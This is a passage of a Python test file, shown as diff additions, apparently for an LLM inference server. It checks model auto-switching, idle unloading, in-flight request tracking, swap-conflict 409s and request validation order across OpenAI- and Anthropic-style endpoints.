test_bare_id_tolerates_any_loaded_variant(monkeypatch): + # Repo already loaded as Q4_K_M; a BARE request for the same repo (resolver + # picks the largest local quant, Q8_0) must NOT reload a different quant. + backend = _FakeBackend("unsloth/B-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("unsloth/B-GGUF") # bare, no :VARIANT + assert rec.calls == [] + # An explicit :VARIANT request still honors the quant (reloads to Q8_0). + rec2 = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("unsloth/B-GGUF", "Q8_0", "unsloth/B-GGUF"), + backend = backend, + recorder = rec2, + ) + _run_hook("unsloth/B-GGUF:Q8_0") + assert len(rec2.calls) == 1 + + +def test_responses_hook_runs_after_input_validation(): + # A request that 400s on empty input must not have triggered a model load, + # so the auto-switch hook must come after the input-validation guard. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "No input provided" in src + assert src.index("No input provided") < src.index("_maybe_auto_switch_model") + + +def test_responses_system_only_rejected_before_switch(monkeypatch): + # Codex P2: instructions-only input normalises to a lone system message, which + # passes the empty-input check; it must 400 before the switch so an invalid + # Responses request can't evict the resident model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch a system-only Responses request") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "") + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + + +def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch): + # In-flight must be counted whenever auto-switch is on, even with idle TTL 0, + # so enabling idle mid-stream cannot unload an in-flight request. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + kw._inflight = 0 + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # counted despite idle TTL being 0 + assert kw._inflight == 0 # balanced after completion + + +# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ── + + +def _bad_body_request(): + import json as _json + class _BadReq: + async def json(self): + raise _json.JSONDecodeError("expecting value", "", 0) + + return _BadReq() + + +def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch): + # OFF + nothing loaded + unparseable body must still 503 (pre-feature + # behavior), not 500 from the early body read. + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_non_string_model_falls_through_without_error(monkeypatch): + # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be + # treated as absent, never raising in the membership checks, even when a stash + # exists from idle-unload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester")) + assert rec.calls == [] # no load, no TypeError + + +def test_anthropic_validates_max_tokens_before_auto_switch(): + # An Anthropic request missing max_tokens must 400 before the hook runs, so an + # invalid request never triggers a model load. Asserted on the source order. + import inspect + + src = inspect.getsource(inference_route.anthropic_messages) + assert "_maybe_auto_switch_model" in src + assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model") + + +def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch): + # After idle-unload frees the model, an unknown/alias name (resolves to None) + # reloads what was freed, including the exact quant, instead of 503-ing. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the backend + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M")) + _run_hook("gpt-4o-mini") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "unsloth/A-GGUF" + assert rec.calls[0].gguf_variant == "Q4_K_M" # exact freed quant restored + + +def test_alias_does_not_reload_when_model_already_loaded(monkeypatch): + # The reload only triggers on an empty backend; with something loaded, an + # unknown name still falls through (drop-in) without resurrecting the stash. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("unsloth/B-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_idle_loop_does_not_unload_while_request_pending(monkeypatch): + # A request that has marked itself pending (waiting on the unload gate) but not + # yet started must keep the idle loop from unloading the model. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 0.0) # far past any TTL + kw._note_pending() + try: + assert kw._is_idle(1.0) is False # pending request blocks unload + finally: + kw._note_unpending() + assert kw._is_idle(1.0) is True # cleared once it is no longer pending + + +def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): + # A stream that starts while the feature is OFF must still be counted, so + # enabling idle-unload mid-stream cannot unload it. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # tracked despite the feature being off + assert kw._inflight == 0 + + +def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path): + # _build_index must scan the same roots the model picker lists, else a model + # the UI shows is silently served as the loaded one. Verify each is consulted. + from pathlib import Path + import routes.models as models_route + from utils import paths as upaths + import storage.studio_db as studio_db + + scanned = [] + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_hf_cache", + lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_lmstudio_dir", + lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active") + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy") + monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default") + monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"]) + monkeypatch.setattr( + studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}] + ) + for sub in ("active", "legacy", "default", "lmstudio", "custom"): + (tmp_path / sub).mkdir() + + resolver._build_index() + + hf = {p for k, p in scanned if k == "hf"} + lm = {p for k, p in scanned if k == "lm"} + assert str((tmp_path / "legacy").resolve()) in hf + assert str((tmp_path / "default").resolve()) in hf + assert str((tmp_path / "custom").resolve()) in hf + assert str((tmp_path / "lmstudio").resolve()) in lm + + +# ── gemini round: list-body 400, non-POST not tracked ── + + +def _json_body_request(payload): + class _Req: + async def json(self): + return payload + + return _Req() + + +def test_completions_list_body_is_400_not_500(monkeypatch): + # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400, + # not a 500 from body.get(...). + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") # loaded + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_embeddings_list_body_is_400_not_500(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_middleware_ignores_non_post(monkeypatch): + # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 0 # OPTIONS not counted + assert kw._inflight == 0 + + +# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ── + + +def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch): + # A cross-model swap must 409 (not kill) while another inference request is in + # flight; the requesting call itself is excluded from the count. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # this request + another active one + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch): + # Only the caller is in flight: nothing else to protect, so the swap proceeds. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", None, "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/B-GGUF") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/p/B" # concrete local path, not the repo id + + +def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch): + # Same repo, different quant counts as a fresh model: the idle timer resets, so + # the new variant is not unloaded before one TTL of its own. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + + unloads = [] + backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.03) + assert unloads == [] + kw._last_active = time.monotonic() - 60 # force idle + backend.hf_variant = "Q8_0" # same id, new quant -> fresh identity + await asyncio.sleep(0.03) + assert unloads == [] # timer reset by the variant change, not unloaded + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + + +def test_generate_stream_is_tracked_as_inference_path(): + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/generate/stream") is True + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/responses") is True + + +def test_successful_manual_load_clears_last_unloaded_stash(): + from core.inference import llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_loaded() + assert kw.get_last_unloaded_model() is None + + +def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path): + # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the + # local branch (no repo-id download). loader_id stays the repo id. + from types import SimpleNamespace + + repo = tmp_path / "models--org--Repo" + snap = repo / "snapshots" / "abc123" + snap.mkdir(parents = True) + (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub") + + entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo))) + assert entry is not None + assert entry.loader_id == "org/Repo" # advertised id unchanged + assert "snapshots" in entry.load_path # loads from the concrete snapshot dir + assert entry.load_path != "org/Repo" # never the bare repo id + assert entry.variants # quant detected on disk + + +# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ── + + +def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch): + # A model loaded normally has model_identifier == repo id, but the resolver + # returns the concrete load path. A request for that repo must count as already + # serving (no reload, no 409) even with another inference active. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/Repo-GGUF:Q4_K_M") # exact quant + _run_hook("org/Repo-GGUF") # bare id + assert rec.calls == [] + + +def test_auto_switch_advertises_repo_id_after_load(monkeypatch): + # After a load-by-path, the backend advertises the repo id (override key), not + # the concrete path, so /v1/models and the idle stash stay name-based. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("org/B-GGUF:Q8_0") + assert rec.calls[0].model_path == "/p/B-snapshot" # loaded by concrete path + assert backend._openai_advertised_id == "org/B-GGUF" # advertised by repo id + + +def test_already_serving_by_path_records_advertised_alias(monkeypatch): + # Codex P2: a model loaded by local path and requested via an advertised alias + # that resolves to the same path is already serving (no reload), but /v1/models + # and responses would report the path basename and list the alias as loaded:false + # unless the alias is recorded as the advertised id on the already-serving return. + path = "/cache/models--org--Repo-GGUF/snapshots/abc" + backend = _FakeBackend(path, hf_variant = "Q4_K_M") # loaded by path, no advertised id + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + assert backend._openai_advertised_id is None + _run_hook("org/Repo-GGUF:Q4_K_M") + assert rec.calls == [] # already serving -> no reload + assert backend._openai_advertised_id == "org/Repo-GGUF" # alias now recorded + + +def test_streaming_responses_uses_advertised_id_helper(): + # Codex P2: streamed /v1/responses envelopes must derive the model id from + # _llama_public_model_id (which prefers _openai_advertised_id), not the raw + # model_identifier. After an auto-switch to a cached HF GGUF the identifier is + # the snapshot path while the repo id lives in _openai_advertised_id, so the raw + # form would stream a snapshot basename while /v1/models, chat, and non-streaming + # responses report the repo id. + import inspect + + src = inspect.getsource(inference_route._responses_stream) + assert "_clean_model = _llama_public_model_id(llama_backend" in src + assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src + + +def test_concurrent_same_target_requests_load_once(monkeypatch): + # Two concurrent requests for the same unloaded model must load once, not each + # 409 the other. Simulate the second request already waiting (registered) while + # the first runs the hook with _inflight counting both. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # both same-target requests counted + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch): + # A concurrent request heading to a different target still blocks the swap: the + # same-target exclusion must not swallow a genuinely conflicting request. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_v1_models_advertises_repo_id_not_load_path(monkeypatch): + # /v1/models must report the advertised repo id, never the host load path. + from types import SimpleNamespace + + llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc") + llama._openai_advertised_id = "org/Repo-GGUF" + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr( + inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None) + ) + objects = inference_route._openai_model_objects() + assert [o["id"] for o in objects] == ["org/Repo-GGUF"] + + +def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch): + # The idle stash carries (load_path, quant, advertised_id). An alias reload must + # look up the override by the advertised repo id, not the concrete load path, + # so the user's saved launch flags survive the unload/reload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + overrides = {"org/A-GGUF": {"max_seq_length": 8192}} + monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {})) + _run_hook("gpt-4o-mini") + assert rec.calls[0].model_path == "/cache/snap/A" # reloads the freed path + assert rec.calls[0].gguf_variant == "Q4_K_M" + assert rec.calls[0].max_seq_length == 8192 # override keyed by repo id, not path + + +def test_load_route_holds_lifecycle_gate(monkeypatch): + # Lock the manual /load gate against silent revert: the route must wrap the + # load in inference_lifecycle_gate so idle-unload can't fire mid-load. + import inspect + + src = inspect.getsource(inference_route.load_model) + assert "inference_lifecycle_gate" in src + assert "_load_model_impl" in src + + +def _anthropic_payload(max_tokens = None): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "claude-x", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + ) + + +def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch): + # Default-off parity: unloaded backend + auto-switch off 503s before the + # max_tokens 400, exactly as the pre-feature endpoint did. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 503 + + +def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch): + # With auto-switch on, request-shape validation runs first: a missing + # max_tokens still 400s before any load is attempted. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 400 + + +# ── review round 6: concurrency ordering, external untrack, unload gate, ids ── + + +def test_pending_same_target_request_does_not_force_409(monkeypatch): + # A second same-target request blocked in the middleware (pending, not yet + # generating) must not make the first request 409: pending is excluded. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) # just the caller + monkeypatch.setattr(kw, "_pending", 1) # second request blocked in middleware + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch): + # The real middleware counts a concurrent same-model request as in-flight + # before it resolves and registers a target waiter. The raw-request waiter, + # registered before resolve, must still exclude it so the first request loads. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # caller + a still-resolving twin + monkeypatch.setattr(kw, "_pending", 0) + # The twin has only registered its raw requested model (not yet a target waiter). + inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_external_untrack_decrements_inflight_and_is_idempotent(): + from core.inference import llama_keepwarm as kw + + kw._inflight = 2 + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 1 + assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True + kw.untrack_current_request(scope) # idempotent: no further decrement + assert kw._inflight == 1 + kw._inflight = 0 + + +def test_manual_unload_interrupts_even_while_inference_active(monkeypatch): + # A manual /unload is a deliberate action: it tears down immediately even with + # a request in flight (only the automatic idle loop defers). No 409. + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + backend = _FakeBackend("org/A-GGUF") + backend.is_active = True + backend.unload_model = lambda: setattr(backend, "is_loaded", False) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr(kw, "_inflight", 1) # another request streaming + monkeypatch.setattr(kw, "_pending", 0) + resp = asyncio.run( + inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester") + ) + assert resp.status == "unloaded" + assert not backend.is_loaded # torn down despite the active request + + +def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch): + # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight). + # _load_model_impl would unload it, so auto-switch must 409, not only when a + # GGUF is loaded. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # no GGUF loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # an Unsloth stream + this request + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] # the active Unsloth model is not torn down + + +def test_public_model_id_prefers_advertised_over_path(): + backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf") + backend._openai_advertised_id = "org/Repo-GGUF" + # The advertised repo id from an auto-switch load wins. + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend._openai_advertised_id = None + # No advertised id: the identifier is cleaned to a public id (delegates to + # public_model_id), never the raw on-disk .gguf path. + cleaned = inference_route._llama_public_model_id(backend) + assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf") + # An already-clean repo id passes through unchanged. + backend.model_identifier = "org/Repo-GGUF" + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend.model_identifier = None + assert inference_route._llama_public_model_id(backend, "req") == "req" + + +def test_chat_validates_non_system_message_before_auto_switch(): + # A system-only chat must be rejected before the hook so an invalid request + # never swaps the resident model. Asserted on source order. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("At least one non-system message is required.") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_chat_untracks_external_provider_before_proxy(): + # The external-provider branch must untrack the request before proxying so its + # stream can't block a concurrent local auto-switch. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider") + + +# ── round 7: API-initiated training defers to active inference, UI does not ── + + +def test_authenticated_via_api_key_detects_key_vs_session(): + from fastapi.security import HTTPAuthorizationCredentials + from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX + + key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc") + jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session") + assert asyncio.run(authenticated_via_api_key(key)) is True + assert asyncio.run(authenticated_via_api_key(jwt)) is False + + +def _training_request(): + from models.training import TrainingStartRequest + return TrainingStartRequest( + model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca" + ) + + +def test_api_training_refused_while_inference_active(monkeypatch): + # API-key caller: training is refused with 409 while a request streams, so it + # can't free VRAM by unloading the chat model out from under the stream. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + asyncio.run( + training_route.start_training( + _training_request(), current_subject = "t", via_api_key = True + ) + ) + assert exc.value.status_code == 409 + + +def test_ui_training_not_blocked_by_active_inference(monkeypatch): + # UI (session auth) caller: the API guard is skipped, so training proceeds past + # it even with inference active (here it hits the normal already-active path). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1") + monkeypatch.setattr(training_route, "get_training_backend", lambda: fake) + resp = asyncio.run( + training_route.start_training(_training_request(), current_subject = "t", via_api_key = False) + ) + assert resp.status == "error" and "already" in (resp.error or "").lower() + + +# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ── + + +def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch): + # With nothing stored, the env var enables idle-unload even while auto-switch + # is off (headless/ops default), and the UI reader reflects it. + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) # nothing stored + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 600 + assert settings.get_stored_auto_unload_idle_seconds() == 600 + + +def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch): + # An explicit stored value wins over the env default and remains gated on the + # auto-switch toggle. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 30 # stored wins, not env + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 # explicit value still gated off + + +def test_env_idle_ttl_invalid_is_ignored(monkeypatch): + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number") + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False) + assert settings.get_auto_unload_idle_seconds() == 0 + + +# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ── + + +def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch): + # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on + # idle; the next request must restore exactly what was freed even though the + # resolver never runs while auto-switch is off. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire( + monkeypatch, 